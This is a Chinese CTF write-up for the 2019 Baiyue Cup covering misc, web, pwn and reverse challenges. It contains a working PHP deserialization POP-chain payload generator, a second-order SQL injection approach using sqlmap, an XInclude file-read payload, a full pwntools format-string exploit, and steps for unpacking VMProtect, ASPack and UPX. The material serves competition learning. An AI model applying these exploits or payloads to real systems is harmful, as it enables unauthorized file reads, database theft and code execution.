百越杯2019

byb

misc

签到

cGxlYXNlIHN1Ym1pdDogZmxhZ3toZWxsb19ieWJ9

base64decode

please submit: flag{hello_byb}

key

下载附件,用photoshop放大查看,有一条奇奇怪怪的钥匙

用hxd打开图片在图片末尾找到KEY:ISEEU!

提取钥匙中特殊颜色的RGB值与key循环异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
2f3f24
222e13
7f6624
713645
7b7e27
723310
646721
76670c
703723
727816
7a6020
213345
7b3277
74375c
1
2
3
4
5
6
7
8
rgb=['2f','3f','24','22','2e','13','7f','66','24','71','36','45','7b','7e','27','72','33','10','64','67','21','76','67','0c','70','37','23','72','78','16','7a','60','20','21','33' ,'45','7b','32','77','74','37','5c']

key="ISEEU!"
j=0
for i in rgb:
print(chr(int(i,16)^ord(key[j])),end='')
j+=1
j%=6

flag{265a4cd2-b7f1-4d32-9df7-733edfd2a21b}

哈尔的移动城堡

下载附件得到ori.jpg和102%

用hxd打开后发现

image.png

这是一张png图片但是文件头错了

划到最后面发现PK

图片里面又藏在压缩包,搜索IEND找到png的最后一个数据块(别问我为啥不用foremost,谁用谁知道)

image.png

又是一个魔改的文件头(正常zip文件头 504B0304 ),手动分离得到zip

emmmm需要密码

用stegsolve发现分离出来的png里藏着二维码

猜测做了蒙版处理

打开ps一段猛如虎()(自闭)的操作后,手动拼接出了二维码

image.png

得到压缩包密码1tsEz_b14ndVV4t3rM4k

解压得到两张图片

用beyondcompare得到flag

image.png

flag{3399dcb7-9e15-422f-9bf9-9db30dab70ae}

wireless

下载得到readme和一个流量

readme

1
已知密码格式是6666xxxx

原本试着生成一个所有可打印字符的密码,但是这个也要500m+

所以先用纯数字密码试试

1
2
3
4
f=open("dict.txt","w")
for i in range(10**4):
f.write("6666%04d\n"%i)
f.close()

用kali的aircrack-ng 来破解通信内容

image.png

image.png

flag{0566668912-f059-448f}

幸亏没有直接爆所有可打印字符

web

babyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
error_reporting(1);
class Read {
private $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}

public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}

class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'瑙f瀽寮€濮�'."<br>";
}

public function __toString()
{

$this->str['str']->source;
}

public function _show()
{

if(preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}

public function __wakeup()
{
print("step1");
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}

class Test
{
public $params;
public function __construct()
{
$this->params = array();
}

public function __get($key)
{
$func = $this->params;
return $func();
}
}

if(isset($_GET['chal']))
{
$chal = unserialize($_GET['chal']);
}
else
{
$show = new Show('index.php');
$show->_show();
}
?>

%100反序列化链构造

  1. Show::__wake是唯一可以入手的地方

  2. 在这个方法中只有$this->source可以构造pop链的连接点

阅读代码发现Show::__toString会被 if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source))调用

  1. Show::__toString: $this->str[‘str’]->source和Test::__get构成链接点
  2. Test::__get: $func = $this->params;return $func();Read::__invoke构成链接点
  3. 而Read()可以任意读取文件

payload生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
class Show
{
public $source;
public $str;
public function __construct($file="")
{

}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}

public function __wakeup()
{
}
}
class Read {
private $var="fllllllaaaaaag.php";

public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}

public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Test
{
public $params;
private $source="666";
public function __construct()
{
}
public function __get($key)
{
$func = $this->params;
return $func();
}
}

$a=new Show();
$b=new Show();
$c=new Test;
//$s->str["str"] = $t;

//Read::__invoke
$c->params=new Read;

//Test::__get
$b->str['str']=$c;

//Show::__tostring
$a->source=$b;

print(urlencode(serialize($a)));
?>

最后一步就剩flag的文件名,从正则中抠出fllllllaaaaaag但是直接读取,网页500,是文件不存在的结果

一番尝试后flag的文件名fllllllaaaaaag.php

1
2
3
<?php
$flag = "flag{df210681-fb10-4c0f-ba25-1f678eb38f85}";
?>

babygame

文件树

1
2
3
4
5
6
7
index.html
tools.php?hash=
manage.php?showuer
register
login
msgid=1

index.html

<!-- if you need hash tools, location: tools.php -->

flag生成方式

flag{md5(name . md5(pass))}

网站存在两个cookie: __jsluid_h , PHPSESSID

约束攻击生效,但是无法拿到flag

二次注入测试逃逸引号

宽字节x=>正常回显

%00x=>\0

出现需要转义的地方没有假flag

a'#没有flag

a\'#出现flag,md5为flag{md5("a\\\'" . md5(pass))}

而直接b\'#是没有flag的,而且与#无关

判断用户时候存在再给一个flag链接

1
2
3
4
5
a\\\'#=>a\'#=>select * from xx where user='$user'?

a\'=>a',用户不存在

猜测

c\'#=>no flag

c'#=>c\'#出现flag(得删除cookie)

注入点就在这

什么代码导致这种结果

登陆时:$_SESSION[x]=query("select * from xx where user='".mysql_real_escape($_POST['user'])."' and pass='".mysql_real_escape($_POST['pass'])")."'"

query("select * from xx where user='$_SESSION[x]'")

1
2
3
4
5
user	php($_SESSION) mysql('$sql')
a' a' a'
a\' a\' a\'


存在过滤?

依据个数生成flag链接

后面想到为啥注入点不可以是msgid呢

约束攻击获得一个只带有\的账号

注册一个a+’ ‘*28+’”‘ 的账号

msgid处出现注入点

or 1%23成功

用sqlmap爆破得到admin的密码拿到tools.php解密得到: ChunQiuGame

image.png

正常的xxe没啥用,找到一叶飘零的一篇文章

https://www.anquanke.com/post/id/156227

payload:

1
2
3
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///flag" parse="text"/>
</root>

flag{5ea7d712-e461-4d29-9246-4ea6266775a8}

………………..气死了就差一点拿到flag

pwn

easy_printf

pwnable.tw原题魔改,bss没有stdin,stdout,stderr了,但是一开始有个询问姓名,不知道有什么用,后来试了各种方法,想到了把stdoutfileno改为2,就可以绕过close(1)
而且刚好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 ► 0x40089f <func1+57>    mov    eax, 0
0x4008a4 <func1+62> call func2 <0x4007fa>

0x4008a9 <func1+67> mov eax, 0
0x4008ae <func1+72> mov rcx, qword ptr [rbp - 8]
0x4008b2 <func1+76> xor rcx, qword ptr fs:[0x28]
0x4008bb <func1+85> je func1+92 <0x4008c2>

0x4008bd <func1+87> call 0x400648

0x4008c2 <func1+92> leave
0x4008c3 <func1+93> ret

0x4008c4 <main> push rbp
0x4008c5 <main+1> mov rbp, rsp
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsi rsp 0x7fffc9a192f0 ◂— 0x4141414141414141 ('AAAAAAAA')
01:0008│ 0x7fffc9a192f8 —▸ 0x7fe173507690 (_IO_file_underflow+496) ◂— 0xe8df8948fffffeff
02:0010│ 0x7fffc9a19300 —▸ 0x7fe173852540 (_IO_2_1_stderr_) ◂— 0xfbad2087

名字下面残留有stderr,所以读取名字时,partial overwrite改为_IO_2_1_stdout_->_fileno,然后把_fileno改为2即可,后面的和pwnable.tw没什么区别,有了泄露,也有了无限格式化字符串攻击,随便怎么玩

exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

def fmtstr(offset, addr, data, written):
cnt = 0
payload = ''
address = ''
for x in data:
cur = ord(x)
if cur >= written&0xff:
to_add = cur - (written&0xff)
else:
to_add = 0x100 + cur - (written&0xff)
round = ''
if to_add != 0:
round += "%{}c".format(to_add)
round += "%{}$hhn".format(offset+cnt+len(data)*2)
assert(len(round) <= 0x10)
written += to_add + 0x10 - len(round)
payload += round.ljust(0x10, '_')
address += p64(addr+cnt)
cnt+=1
return payload + address


def main(host,port=12001):
if host:
p = remote(host,port)
else:
# p = process("./easy_printf",env={"LD_PRELOAD":"./libc.so"})
p = process("./easy_printf")
gdb.attach(p,"b *0x000000000400846")
p.recvuntil("write down your name")
# t = raw_input('guess: ')
t = 0x7
stdout_fileno = (int(t) << 12) | 0x690
p.send("A"*0x10+p16(stdout_fileno))
pause()

buf_addr = 0x601060
payload = "%{}c%28$hhn%{}c%58$hn".format(2,0x2a6).ljust(0x18,'_')
payload += fmtstr(9,buf_addr,p64(0x000000000400814)[:3],0x2ab)
p.send(payload)
pause()


payload = "%{}c%23$hhn%35$p-%36$p^%37$p-%38$p-%39$p*%40$p-".format(0x14)
p.send(payload)
pause()
p.recvuntil("^")
stack = int(p.recvuntil('-',drop=True),16)
p.recvuntil("*")
libc.address = int(p.recvuntil('-',drop=True),16)-0x20837
info("stack : " + hex(stack))
info("libc : " + hex(libc.address))
onegadget = 0xf1147+libc.address

ret_addr = stack - 0x1e8
payload = "%{}c%23$hhn".format(0x14).ljust(0x10,'_')
payload += fmtstr(15,ret_addr,p64(onegadget)[:2],0x19)
p.send(payload)
pause()
# :0000000000400865 retn
offset = 13
payload = "%{}c%16$hhn%{}c%17$hn".format(ord(p64(onegadget)[2:3]),0x865-ord(p64(onegadget)[2:3])).ljust(0x18,'_')
payload += p64(ret_addr+2)+p64(ret_addr-8)
payload = payload.ljust(0x80,"\x00")
p.send(payload)
p.interactive()
if __name__ == "__main__":
libc = ELF("./libc.so",checksec=False)
main(args['REMOTE'])

reverse

bwarm

首先,还是查壳,没啥说的 vmp2.0.7

根据vmp系列脱壳教程,这个壳是1.8以上的方案进行脱壳。先拖入OD,下一个API断点 VirtualProtect (教程建议是下硬件断点,可能是我的OD有问题,硬件断点断不下来,只能是F2断点了 T_T)

然后F9开始跑,测试到第5次跑飞……

那么就在第四次的时开始候单步跟踪,先跳出VirtualProtect 函数 ,然后对代码段设置,内存访问断点

然后F9继续运行,断下来后,在ESP的地方跟踪内存数据,找到SEH结构化异常的上面35C地址那块,下一个硬件写入断点,并取消之前的内存访问断点

然后继续F9运行,再次断下来,这次再在代码断下内存访问断点,然后多次F9运行,注意观察栈帧的变化,快到SEH的地方就接近OEP了,此时已经跟踪到解压后的代码段,然后进行一下代码分析。

完成分析后,代码就还原了,然后单步跟踪,发现OEP

发现OEP后,同时我们也注意到栈帧部分被压入了3条数据,这个就是VMP偷取的代码,我们需要进行还原,于是在当前位置查找一段 0000000000的内存段

然后,对VMP偷取的代码进行patch。最后跳转到OEP 也就是 jmp 012319C9

接着我们把当前的 01231FB5 设置为新的EIP,就可以进行dump内存操作了,填好起始地址和入口地址后,点击脱壳

把脱壳的文件保存为 dump.exe 然后尝试运行,发现不能运行,直接崩溃掉了

于是猜到可能是重定向表的问题造成,用PE编辑器修改一下这里,然后保存。

再次运行,OK !!

然后可以载入OD进行动态分析了。

为了方便调试,我们知道程序运行后,会提示输入字符串,那么我们先找到输入字符串的地方。

然后开始单步跟踪到这里,就是完成字符串输入后

继续跟踪,我们发现一个base64的字符串:dQkLdqXP=mLMAa8p=lnncQcq/GEPdGKXcNDl=Mnr=pcoBGPQdG1NA3Aw

那么另外一个字符串就是base64的字典了,也就是:0123456789+/=ABCDEFGHIabcdefghiJKLMNOPQRSTUVWXYZjklmnopqrstuvwxyz

于是,我们就可以根据这个对base64zi’f字符串进行解密:

坑了,竟然是乱码,还以为就这样搞定了呢,后来请教了一下大神,他说是字典有问题,于是我仔细的看了一下,确实

字典里面按说是不应该有‘=’ 这个字符的,按base64的说法这个是占位用的来补足字节数。所以按照大神的指点,我把大神的脚本用C++重新写了一遍(也是为了更好的理解反向分析的过程),终了跑出来了 T_T

最后,就是见证奇迹的时刻到了 * ^_^ *

flag{e38b5b63-4bf7-4ee8-b422-83f599fe0c43}

Md5Jungle

首先查壳,丢到exeinfope里面一看,发现是asp的壳。

于是用手头的asp脱壳工具尝试脱壳,发现都不行,不是不支持就是报错!没办法,只能老实手工脱壳了。

根据ESP定律+IAT修复+重定向表修复后,脱壳的程序可以正常运行。

用OD载入后,开始单步跟踪

到用户输入界面,我随便输入了个字符串:111111111(9个1)单步跟入到下图,发现了flag字样

这个应该是flag的头,于是继续跟进,发现确实在核对输入数据与flag{比较,这块就过不去了

于是果断的从来,输入数据为 flag{111111111,来到了下图的地方,在0x16的位置比较0x7D 也就是’}’符号

由于C语言的字符串下标是从0开始的,也就是字符串第23个字符处必须是}

于是构造字符串:flag{11111111111111111} 继续跟进,接下来是在0x7、0xc、0x11处核对字符 ‘-‘ (即:0x2D)

于是字符串就变成了flag{11-1111-1111-1111},继续跟进,发现了一个字符串:01E3421C=dump_SCY.01E3421C (ASCII “c7218260ef2b966ab0454e07c55cf4e9”)
感觉像是MD5的字符串,于是用python解了一下,得到: oh,结之前的flag应该就是flag{oh-1111-1111-1111}

再次输入后,继续跟进发现过去了,开始进行第二段的比较得到了下图的错误:

于是反复跟比较算法也没有找到任何有效的数据,结合本题的提示是md5段字节爆破,估计是这块需要进行爆破处理了。

于是继续python大法,得到字符串:flag{oh-aa30-1111-1111}

继续输入后,单步跟进,此时发现一个字符串:堆栈地址=001DFC30, (ASCII “YTkxYQ==”) eax=786B5459
看起来像B64编码,于是尝试解码,得到第三组的flag值:a91a 。

想起之前用od也看过字符串,于是找到第四组的字符串:NGZicA== ,解码为:4fbp

那么最终的flag就是:flag{oh-aa30-a91a-4fbp}

shy

首先查壳,丢到ExeinfoPE里面看一下,确定是upx壳

于是丢到OD里面进行脱壳处理,由于是压缩壳,跟踪起来比较麻烦,我选择了个偷懒的办法,下一个api访问断点

即:VirtualProtect ,运行3次F9后就跑飞了,于是在2次运行后,单步跟踪,到OEP

使用OD自带的插件进行脱壳,注意基址和OEP的关系,计算好后填入

然后点击脱壳,双击发现不能运行。

这个问题估计是重定向造成,于是修复一下重定向表的数据。

保存后,再次运行可以正常跑起来了

再次用OD载入,发现入口地址不是OEP

按说是已经解密完成了,于是我定位到OEP (0x1072940)一看究竟。

确实已经解密,那么为了方便调试,我直接用OD改一下入口代码就可以实现了。

然后把修改完毕的程序,重新保存到文件,由于有重定位会有下图的提示,点击 是 ,然后右键保存一份dump0.exe

继续,OD载入dump0.exe 发现修改成功,可以直接跳转到OEP行,然后单步跟踪,到输入后,发现后面的代码是个加密处理的代码,于是丢到IDA里面看一下这块对应的反编译代码。

buf 就是用户输入的字符串,if ( (&v4 + j) != v79[j] ) 这个就是关键的比较,那么V79[]就应该是异或后的结果,也就是ben本题的密钥,于是在OD中定位值:6ljh,!;:+&p%ia=Sc4#pt*%

接下来就简单了,直接把这个密钥输入,然后再次定位到这块就能得到flag了

最终得到flag:flag{cb7670ab-c597-4b17} 输入到shy.exe 验证一下 : )